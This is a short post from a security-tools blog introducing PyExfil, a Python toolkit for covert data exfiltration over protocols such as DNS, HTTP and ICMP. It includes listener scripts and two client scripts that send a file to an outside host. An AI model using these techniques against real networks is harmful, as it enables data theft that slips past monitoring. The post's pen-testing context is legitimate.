• Skip to main content
  • Skip to primary sidebar
  • Skip to footer
  • Home
  • About Darknet
  • Hacking Tools
  • Popular Posts
  • Darknet Archives
  • Contact Darknet
    • Advertise
    • Submit a Tool
Darknet – Hacking Tools, Hacker News & Cyber Security

Darknet - Hacking Tools, Hacker News & Cyber Security

Darknet is your best source for the latest hacking tools, hacker news, cyber security best practices, ethical hacking & pen-testing.

PyExfil – Python Data Exfiltration Tools

November 22, 2016

Views: 5,912

PyExfil started as a Proof of Concept (PoC) and has ended up turning into a Python Data Exfiltration toolkit, which can execute various techniques based around commonly allowed protocols (HTTP, ICMP, DNS etc).

PyExfil - Python Data Exfiltration Tools

The package is very early stage (alpha release) so is not fully tested, any feedback and commits are welcomed by the author.

Features

Currently PyExfil supports:

  • DNS query
  • HTTP Cookie
  • ICMP (8)
  • NTP requests
  • BGP Open
  • POP3 Authentication (as password)
  • FTP MKDIR technique

Usage

HTTP Exfilatration Server

1
2
3
4
5
6
7
8
#!/usr/bin/python
from exfiltration.http_exfiltration import *
def main():
    print "Starting a listener: "
    listen("127.0.0.1", 80)
 
if __name__ == "__main__":
    main()

HTTP Exfiltration Client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
 
from exfiltration.http_exfiltration import *
 
def main():
    FILE_TO_EXFIL = "/bin/bash"
    ADDR = "www.morirt.com"
 
    if send_file(ADDR, FILE_TO_EXFIL) == 0:
        print "File exfiltrated okay."
    else:
        print "Damn thing failed."
 
if __name__ == "__main__":
    main()

ICMP Server

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
 
from exfiltration.icmp_exfiltration import *
 
def main():
    ADDR = "127.0.0.1"
    TMP_PATH = "/tmp/"
 
    init_listener(ADDR, TMP_PATH)
 
if __name__ == "__main__":
    main()

ICMP Exfiltrator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
 
from exfiltration.icmp_exfiltration import *
 
def main():
    FILE_TO_EXFIL = "/bin/bash"
    ADDR = "www.morirt.com"
 
    if send_file(ADDR, FILE_TO_EXFIL) == 0:
        print "File exfiltrated okay."
    else:
        print "Damn thing failed."
 
if __name__ == "__main__":
    main()

You can download PyExfil here:

PyExfil-v0.1-alpha.zip

Or read more here.

Share75
Tweet1
Share37
Buffer2
WhatsApp
Email
115 Shares

Filed Under: Hacking Tools, Networking Hacking Tools Tagged With: exfiltration, Python



Primary Sidebar

Search Darknet

  • Email
  • Facebook
  • LinkedIn
  • RSS
  • Twitter

Advertise on Darknet

Latest Posts

AgentSmith HIDS - Host Based Intrusion Detection

AgentSmith HIDS – Host Based Intrusion Detection

padre - Padding Oracle Attack Tool

padre – Padding Oracle Attack Exploiter Tool

Privacy Implications of Web 3.0 and Darknets

Privacy Implications of Web 3.0 and Darknets

DataSurgeon - Extract Sensitive Information (PII) From Logs

DataSurgeon – Extract Sensitive Information (PII) From Logs

Pwnagotchi - Maximize Crackable WPA Material For Bettercap

Pwnagotchi – Maximize Crackable WPA Key Material For Bettercap

HardCIDR - Network CIDR and Range Discovery Tool

HardCIDR – Network CIDR and Range Discovery Tool

Topics

  • Advertorial (28)
  • Apple (46)
  • Countermeasures (225)
  • Cryptography (82)
  • Database Hacking (89)
  • Events/Cons (7)
  • Exploits/Vulnerabilities (430)
  • Forensics (64)
  • Hacker Culture (8)
  • Hacking News (228)
  • Hacking Tools (681)
  • Hardware Hacking (82)
  • Legal Issues (179)
  • Linux Hacking (72)
  • Malware (238)
  • Networking Hacking Tools (352)
  • Password Cracking Tools (104)
  • Phishing (41)
  • Privacy (218)
  • Secure Coding (118)
  • Security Software (233)
  • Site News (51)
    • Authors (6)
  • Social Engineering (37)
  • Spammers & Scammers (76)
  • Stupid E-mails (6)
  • Telecomms Hacking (6)
  • UNIX Hacking (6)
  • Virology (6)
  • Web Hacking (384)
  • Windows Hacking (169)
  • Wireless Hacking (45)

Security Blogs

  • Dancho Danchev
  • F-Secure Weblog
  • Google Online Security
  • Graham Cluley
  • Internet Storm Center
  • Krebs on Security
  • Schneier on Security
  • TaoSecurity
  • Troy Hunt

Security Links

  • Exploits Database
  • Linux Security
  • Register – Security
  • SANS
  • Sec Lists
  • US CERT

Footer

Most Viewed Posts

  • Brutus Password Cracker – Download brutus-aet2.zip AET2 (2,181,863)
  • Darknet – Hacking Tools, Hacker News & Cyber Security (2,172,351)
  • Top 15 Security Utilities & Download Hacking Tools (2,095,358)
  • 10 Best Security Live CD Distros (Pen-Test, Forensics & Recovery) (1,198,680)
  • Password List Download Best Word List – Most Common Passwords (931,841)
  • wwwhack 1.9 – wwwhack19.zip Web Hacking Software Free Download (774,473)
  • Hack Tools/Exploits (672,590)
  • Wep0ff – Wireless WEP Key Cracker Tool (528,857)

Search

Recent Posts

  • AgentSmith HIDS – Host Based Intrusion Detection August 31, 2023
  • padre – Padding Oracle Attack Exploiter Tool May 28, 2023
  • Privacy Implications of Web 3.0 and Darknets March 31, 2023
  • DataSurgeon – Extract Sensitive Information (PII) From Logs March 21, 2023
  • Pwnagotchi – Maximize Crackable WPA Key Material For Bettercap February 12, 2023
  • HardCIDR – Network CIDR and Range Discovery Tool December 29, 2022

Tags

apple botnets computer-security darknet Database Hacking ddos dos exploits fuzzing google hacking-networks hacking-websites hacking-windows hacking tool Information-Security information gathering Legal Issues malware microsoft network-security Network Hacking Password Cracking pen-testing penetration-testing Phishing Privacy Python scammers Security Security Software spam spammers sql-injection trojan trojans virus viruses vulnerabilities web-application-security web-security windows windows-security Windows Hacking worms XSS

Copyright © 1999–2023 Darknet All Rights Reserved · Privacy Policy